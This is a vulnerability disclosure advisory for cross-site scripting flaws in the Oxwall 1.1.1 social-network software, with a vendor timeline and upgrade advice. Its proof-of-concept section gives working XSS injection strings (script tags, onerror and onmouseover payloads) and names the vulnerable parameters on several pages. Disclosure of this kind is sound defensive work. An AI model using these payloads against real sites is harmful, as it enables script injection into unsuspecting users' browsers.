1. OVERVIEW

OxWall 1.1.1 and lower versions are vulnerable to Cross Site Scripting.


2. BACKGROUND

Oxwall is a free open source software package for building social
networks, family sites and collaboration systems. It is a flexible
community website engine developed with the aim to provide people with
a well-coded, user-friendly software platform for social needs. It is
easy to set up, configure and manage Oxwall while you focus on your
site idea. We are testing the concept of free open source community
software for complete (site,sub-site setups) and partial
(widgets,features) community and collaboration solutions for companies
and individuals.


3. VULNERABILITY DESCRIPTION

Multiple parameters were not properly sanitized, which allows attacker
to conduct Cross Site Scripting attack. This may allow an attacker to
create a specially crafted URL that would execute arbitrary script
code in a victim's browser.


4. VERSIONS AFFECTED

1.1.1 and lower


5. PROOF-OF-CONCEPT/EXPLOIT

URL: http://localhost/Oxwall/join

Injected Attack String: '"><script>alert(/XSS/)</script>
Method: HTTP POST
Vulnerable Parameters: captchaField, email, form_name  ,password
,realname  ,repeatPassword ,username

------------------------------------------------------------------------------------

URL: http://localhost/Oxwall/contact

Injected Attack String: '"><script>alert(/XSS/)</script>
Method: HTTP POST
Vulnerable Parameters: captcha, email, form_name  ,from , subject
------------------------------------------------------------------------------------

URL: http://localhost/Oxwall/blogs/browse-by-tag?tag=%27%22%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E
Vulnerable Parameter: tag

----------------------------------------------------------------------------

Vulnerable Parameter: RAW-URI

http://localhost/Oxwall/photo/viewlist/tagged/><img src=xs onerror=alert('XSS')>

http://localhost/Oxwall/photo/viewlist/%22style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22onmouseover=alert%28%27XSS%27%29;%22x=

http://localhost/Oxwall/video/viewlist/%22style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22onmouseover=alert%28%27XSS%27%29;%22x=


6. SOLUTION

Upgade to the latest version of Oxwall.


7. VENDOR

Oxwall Foundation
http://www.oxwall.org/


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2011-06-09: notified vendor
2012-02-20: vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5BOxWall_1.1.1%5D_xss
Oxwall Home Page: http://www.oxwall.org/


#yehg [2012-02-20]